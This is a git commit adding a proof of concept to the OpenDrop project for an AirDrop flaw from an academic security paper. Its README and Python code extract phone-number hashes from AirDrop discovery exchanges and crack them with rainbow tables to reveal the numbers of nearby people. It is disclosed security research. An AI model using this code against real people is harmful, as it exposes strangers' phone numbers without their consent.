Add PoC for AirDrop's phone number leak

This commit is contained in:
Milan Stute
2021-05-05 13:38:56 +02:00
parent bc7813bf91
commit 81ddc07996
8 changed files with 147 additions and 0 deletions
+3
View File
@@ -0,0 +1,3 @@
[submodule "rt_phone_numbers"]
path = rt_phone_numbers
url = https://github.com/contact-discovery/rt_phone_numbers.git
+80
View File
@@ -0,0 +1,80 @@
# PoC: AirDrop Phone Number Leak
This PoC demonstrates the contact identifier leakage in Apple AirDrop that was described in
* **[HHSSW21]** Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop** in _30th USENIX Security Symposium_. [Website](https://privatedrop.github.io). [Preprint](https://www.usenix.org/system/files/sec21fall-heinrich.pdf).
The paper also proposes a privacy-preserving drop-in replacement for Apple AirDrop.
**We notified Apple about this vulnerability on May 11, 2019. Until today, Apple has neither mitigated the issue nor informed us that they are planning to do so.
This means that current Apple systems are still vulnerable (iOS 14.5 and macOS 11.3 as of May 5, 2021).**
## Installation
Run the following instructions on a Mac (tested with macOS 11.2.3).
1. Checkout the repository.
```bash
git clone https://github.com/seemoo-lab/opendrop.git
cd opendrop
git checkout poc-phonenumber-leak
git submodule update --init
```
2. Install Python dependencies.
```bash
pip3 install -r requirements.txt
```
3. Build [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers).
```bash
brew install libomp
cd rt_phone_numbers
make -f Makefile.macOS
cd ..
```
## Usage
Our PoC is able to exploit both vulnerabilities explained in [HHSSW21]. We provide usage instructions below.
**Disclaimer:** We omit precomputed rainbow tables generated with [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers)'s `rtgen` in this PoC.
Consequently, you will see the following message when running this PoC without modification: _"Could not recover hashed phone number: No rainbow tables provided."_
### Contact Identifier Leakage of Sender (§3.3 in [HHSSW21])
Simply run the following and wait for someone in proximity to open the AirDrop sharing menu.
```bash
python3 -m opendrop receive
```
An example output would look like this:
```
Announcing service: host opendrop, address fe80::c8b9:fbff:fee9:d544, port 8771
Starting HTTPS server
Nearby phone number: +49<...>
```
### Contact Identifier Leakage of Receiver (§3.4 in [HHSSW21])
Exploiting this vulnerability requires the victim to have the attacker in their address book.
In particular, the attacker needs to present a valid AirDrop certificate containing its contact identifiers to the victim.
You can follow [these instructions](https://github.com/seemoo-lab/airdrop-keychain-extractor) to extract your current AirDrop certificate and use it with OpenDrop.
This attack does not require any interaction on part of the victim. Simply run:
```bash
python3 -m opendrop find
```
An example output would look like this:
```
Looking for receivers. Press Ctrl+C to stop ...
Nearby phone number: +49<...>
Found index 0 ID a019b536c38b name John Doe's iPhone
```
+5
View File
@@ -141,6 +141,11 @@ class AirDropClient:
_, response_bytes = self.send_POST("/Discover", discover_plist_binary)
response = plistlib.loads(response_bytes)
# Extract and lookup phone number hashes from validation record
validation_record = response["ReceiverRecordData"]
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
AirDropUtil.lookup_phone_hashes(hashes)
# if name is returned, then receiver is discoverable
return response.get("ReceiverComputerName")
+6
View File
@@ -170,6 +170,12 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
self.config, post_data, "receive_discover_request.plist"
)
# Extract and lookup phone number hashes from validation record
discover_request = plistlib.loads(post_data)
validation_record = discover_request["SenderRecordData"]
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
AirDropUtil.lookup_phone_hashes(hashes)
# sample media capabilities as recorded from macOS 10.13.3
media_capabilities = {
"Version": 1,
+43
View File
@@ -17,11 +17,15 @@ You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
import glob
import io
import ipaddress
import os
import plistlib
import subprocess
import ifaddr
from ctypescrypto import cms
from libarchive.entry import ArchiveEntry, new_archive_entry
from libarchive.ffi import ( # pylint: disable=no-name-in-module
ARCHIVE_EOF,
@@ -168,6 +172,45 @@ class AirDropUtil:
else: # assume bytes-like
file.write(data)
@staticmethod
def get_hashes_from_validation_record(validation_record):
data = cms.CMS(validation_record, format="DER").data
data = plistlib.loads(data.encode())
phone_hashes = data["ValidatedPhoneHashes"]
return phone_hashes
@staticmethod
def lookup_phone_hashes(hashes):
for hash_ in hashes:
AirDropUtil.lookup_phone_hash(hash_)
@staticmethod
def lookup_phone_hash(hash_):
rcrack_dir = os.path.join(
os.path.dirname(os.path.realpath(__file__)), "../rt_phone_numbers/bin"
)
rcrack_bin = os.path.join(rcrack_dir, "rcrack")
rcrack_table = ""
rcrack_tables = glob.glob(rcrack_table)
if len(rcrack_tables) == 0:
print("Could not recover hashed phone number: No rainbow tables provided.")
return
result = subprocess.run(
[rcrack_bin] + rcrack_tables + ["-h", hash_],
text=True,
cwd=rcrack_dir,
capture_output=True,
check=True,
)
for line in result.stdout.splitlines():
if not line.startswith("plaintext of"):
continue
number = line.split("is")[1].strip()
print(f"Nearby phone number: +{number}")
class AbsArchiveWrite(ArchiveWrite):
def add_abs_file(self, path, store_path):
+8
View File
@@ -0,0 +1,8 @@
Pillow
ctypescrypto
fleep
ifaddr
libarchive-c
requests
requests_toolbelt
zeroconf>=0.24.2
+1
Submodule rt_phone_numbers added at b8986d1a20
+1
View File
@@ -37,6 +37,7 @@ setup(
package_data={"opendrop": ["certs/*.pem"]},
install_requires=[
"Pillow",
"ctypescrypto",
"fleep",
"ifaddr",
"libarchive-c",